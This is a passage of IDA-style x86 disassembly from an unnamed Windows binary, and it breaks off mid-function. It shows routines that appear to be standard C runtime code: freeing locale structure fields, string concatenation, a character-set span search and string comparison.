		push	dword ptr [esi+44h]
		call	sub_412FE4
		push	dword ptr [esi+48h]
		call	sub_412FE4
		push	dword ptr [esi+4Ch]
		call	sub_412FE4
		push	dword ptr [esi+50h]
		call	sub_412FE4
		push	dword ptr [esi+54h]
		call	sub_412FE4
		push	dword ptr [esi+58h]
		call	sub_412FE4
		push	dword ptr [esi+5Ch]
		call	sub_412FE4
		push	dword ptr [esi+60h]
		call	sub_412FE4
		push	dword ptr [esi+64h]
		call	sub_412FE4
		push	dword ptr [esi+68h]
		call	sub_412FE4
		push	dword ptr [esi+6Ch]
		call	sub_412FE4
		push	dword ptr [esi+70h]
		call	sub_412FE4
		push	dword ptr [esi+74h]
		call	sub_412FE4
		push	dword ptr [esi+78h]
		call	sub_412FE4
		push	dword ptr [esi+7Ch]
		call	sub_412FE4
		add	esp, 40h
		push	dword ptr [esi+80h]
		call	sub_412FE4
		push	dword ptr [esi+84h]
		call	sub_412FE4
		push	dword ptr [esi+88h]
		call	sub_412FE4
		push	dword ptr [esi+8Ch]
		call	sub_412FE4
		push	dword ptr [esi+90h]
		call	sub_412FE4
		push	dword ptr [esi+94h]
		call	sub_412FE4
		push	dword ptr [esi+98h]
		call	sub_412FE4
		push	dword ptr [esi+9Ch]
		call	sub_412FE4
		push	dword ptr [esi+0A0h]
		call	sub_412FE4
		push	dword ptr [esi+0A4h]
		call	sub_412FE4
		push	dword ptr [esi+0A8h]
		call	sub_412FE4
		add	esp, 2Ch


loc_41B249:				; CODE XREF: sub_41B0BB+7j
		pop	esi
		retn
sub_41B0BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B24B	proc near		; CODE XREF: sub_416102+5Dp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_41B2A8
		mov	eax, [esi]
		mov	ecx, off_42D194
		cmp	eax, [ecx]
		jz	short loc_41B26F
		cmp	eax, off_42D164
		jz	short loc_41B26F
		push	eax
		call	sub_412FE4
		pop	ecx


loc_41B26F:				; CODE XREF: sub_41B24B+13j
					; sub_41B24B+1Bj
		mov	eax, [esi+4]
		mov	ecx, off_42D194
		cmp	eax, [ecx+4]
		jz	short loc_41B28C
		cmp	eax, off_42D168
		jz	short loc_41B28C
		push	eax
		call	sub_412FE4
		pop	ecx


loc_41B28C:				; CODE XREF: sub_41B24B+30j
					; sub_41B24B+38j
		mov	esi, [esi+8]
		mov	eax, off_42D194
		cmp	esi, [eax+8]
		jz	short loc_41B2A8
		cmp	esi, off_42D16C
		jz	short loc_41B2A8
		push	esi
		call	sub_412FE4
		pop	ecx


loc_41B2A8:				; CODE XREF: sub_41B24B+7j
					; sub_41B24B+4Cj ...
		pop	esi
		retn
sub_41B24B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B2AA	proc near		; CODE XREF: sub_416102+3Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	loc_41B381
		mov	eax, [esi+0Ch]
		mov	ecx, off_42D194
		cmp	eax, [ecx+0Ch]
		jz	short loc_41B2D4
		cmp	eax, off_42D170
		jz	short loc_41B2D4
		push	eax
		call	sub_412FE4
		pop	ecx


loc_41B2D4:				; CODE XREF: sub_41B2AA+19j
					; sub_41B2AA+21j
		mov	eax, [esi+10h]
		mov	ecx, off_42D194
		cmp	eax, [ecx+10h]
		jz	short loc_41B2F1
		cmp	eax, off_42D174
		jz	short loc_41B2F1
		push	eax
		call	sub_412FE4
		pop	ecx


loc_41B2F1:				; CODE XREF: sub_41B2AA+36j
					; sub_41B2AA+3Ej
		mov	eax, [esi+14h]
		mov	ecx, off_42D194
		cmp	eax, [ecx+14h]
		jz	short loc_41B30E
		cmp	eax, off_42D178
		jz	short loc_41B30E
		push	eax
		call	sub_412FE4
		pop	ecx


loc_41B30E:				; CODE XREF: sub_41B2AA+53j
					; sub_41B2AA+5Bj
		mov	eax, [esi+18h]
		mov	ecx, off_42D194
		cmp	eax, [ecx+18h]
		jz	short loc_41B32B
		cmp	eax, off_42D17C
		jz	short loc_41B32B
		push	eax
		call	sub_412FE4
		pop	ecx


loc_41B32B:				; CODE XREF: sub_41B2AA+70j
					; sub_41B2AA+78j
		mov	eax, [esi+1Ch]
		mov	ecx, off_42D194
		cmp	eax, [ecx+1Ch]
		jz	short loc_41B348
		cmp	eax, off_42D180
		jz	short loc_41B348
		push	eax
		call	sub_412FE4
		pop	ecx


loc_41B348:				; CODE XREF: sub_41B2AA+8Dj
					; sub_41B2AA+95j
		mov	eax, [esi+20h]
		mov	ecx, off_42D194
		cmp	eax, [ecx+20h]
		jz	short loc_41B365
		cmp	eax, off_42D184
		jz	short loc_41B365
		push	eax
		call	sub_412FE4
		pop	ecx


loc_41B365:				; CODE XREF: sub_41B2AA+AAj
					; sub_41B2AA+B2j
		mov	esi, [esi+24h]
		mov	eax, off_42D194
		cmp	esi, [eax+24h]
		jz	short loc_41B381
		cmp	esi, off_42D188
		jz	short loc_41B381
		push	esi
		call	sub_412FE4
		pop	ecx


loc_41B381:				; CODE XREF: sub_41B2AA+7j
					; sub_41B2AA+C6j ...
		pop	esi
		retn
sub_41B2AA	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B390	proc near		; CODE XREF: sub_417F13+60p
					; sub_419E4A+8Fp ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41B405
sub_41B390	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B3A0	proc near		; CODE XREF: sub_419E4A+10Bp
					; sub_419E4A+116p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41B3C0


loc_41B3AD:				; CODE XREF: sub_41B3A0+1Cj
		mov	al, [ecx]
		add	ecx, 1
		test	al, al
		jz	short loc_41B3F3
		test	ecx, 3
		jnz	short loc_41B3AD
		mov	edi, edi


loc_41B3C0:				; CODE XREF: sub_41B3A0+Bj
					; sub_41B3A0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B3C0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41B402
		test	ah, ah
		jz	short loc_41B3FD
		test	eax, 0FF0000h
		jz	short loc_41B3F8
		test	eax, 0FF000000h
		jz	short loc_41B3F3
		jmp	short loc_41B3C0
; ---------------------------------------------------------------------------


loc_41B3F3:				; CODE XREF: sub_41B3A0+14j
					; sub_41B3A0+4Fj
		lea	edi, [ecx-1]
		jmp	short loc_41B405
; ---------------------------------------------------------------------------


loc_41B3F8:				; CODE XREF: sub_41B3A0+48j
		lea	edi, [ecx-2]
		jmp	short loc_41B405
; ---------------------------------------------------------------------------


loc_41B3FD:				; CODE XREF: sub_41B3A0+41j
		lea	edi, [ecx-3]
		jmp	short loc_41B405
; ---------------------------------------------------------------------------


loc_41B402:				; CODE XREF: sub_41B3A0+3Dj
		lea	edi, [ecx-4]


loc_41B405:				; CODE XREF: sub_41B390+5j
					; sub_41B3A0+56j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41B42E


loc_41B411:				; CODE XREF: sub_41B3A0+85j
		mov	dl, [ecx]
		add	ecx, 1
		test	dl, dl
		jz	short loc_41B480
		mov	[edi], dl
		add	edi, 1
		test	ecx, 3
		jnz	short loc_41B411
		jmp	short loc_41B42E
; ---------------------------------------------------------------------------


loc_41B429:				; CODE XREF: sub_41B3A0+A6j
					; sub_41B3A0+C0j
		mov	[edi], edx
		add	edi, 4


loc_41B42E:				; CODE XREF: sub_41B3A0+6Fj
					; sub_41B3A0+87j
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B429
		test	dl, dl
		jz	short loc_41B480
		test	dh, dh
		jz	short loc_41B477
		test	edx, 0FF0000h
		jz	short loc_41B46A
		test	edx, 0FF000000h
		jz	short loc_41B462
		jmp	short loc_41B429
; ---------------------------------------------------------------------------


loc_41B462:				; CODE XREF: sub_41B3A0+BEj
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B46A:				; CODE XREF: sub_41B3A0+B6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B477:				; CODE XREF: sub_41B3A0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B480:				; CODE XREF: sub_41B3A0+78j
					; sub_41B3A0+AAj
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41B3A0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		mov	edx, [ebp+0Ch]
		lea	ecx, [ecx+0]


loc_41B4A4:				; CODE XREF: .text:0041B4B1j
		mov	al, [edx]
		or	al, al
		jz	short loc_41B4B3
		add	edx, 1
		bts	[esp], eax
		jmp	short loc_41B4A4
; ---------------------------------------------------------------------------


loc_41B4B3:				; CODE XREF: .text:0041B4A8j
		mov	esi, [ebp+8]
		or	ecx, 0FFFFFFFFh
		lea	ecx, [ecx+0]


loc_41B4BC:				; CODE XREF: .text:0041B4CCj
		add	ecx, 1
		mov	al, [esi]
		or	al, al
		jz	short loc_41B4CE
		add	esi, 1
		bt	[esp], eax
		jnb	short loc_41B4BC


loc_41B4CE:				; CODE XREF: .text:0041B4C3j
		mov	eax, ecx
		add	esp, 20h
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B4E0	proc near		; CODE XREF: sub_4186A0+1Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41B52C


loc_41B4F0:				; CODE XREF: sub_41B4E0+3Cj
					; sub_41B4E0+6Aj ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41B524
		or	al, al
		jz	short loc_41B520
		cmp	ah, [ecx+1]
		jnz	short loc_41B524
		or	ah, ah
		jz	short loc_41B520
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41B524
		or	al, al
		jz	short loc_41B520
		cmp	ah, [ecx+3]
		jnz	short loc_41B524
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41B4F0
		mov	edi, edi


loc_41B520:				; CODE XREF: sub_41B4E0+18j
					; sub_41B4E0+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41B524:				; CODE XREF: sub_41B4E0+14j
					; sub_41B4E0+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		add	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_41B52C:				; CODE XREF: sub_41B4E0+Ej
		test	edx, 1
		jz	short loc_41B54C
		mov	al, [edx]
		add	edx, 1
		cmp	al, [ecx]
		jnz	short loc_41B524
		add	ecx, 1
		or	al, al
		jz	short loc_41B520
		test	edx, 2
		jz	short loc_41B4F0


loc_41B54C:				; CODE XREF: sub_41B4E0+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41B524
		or	al, al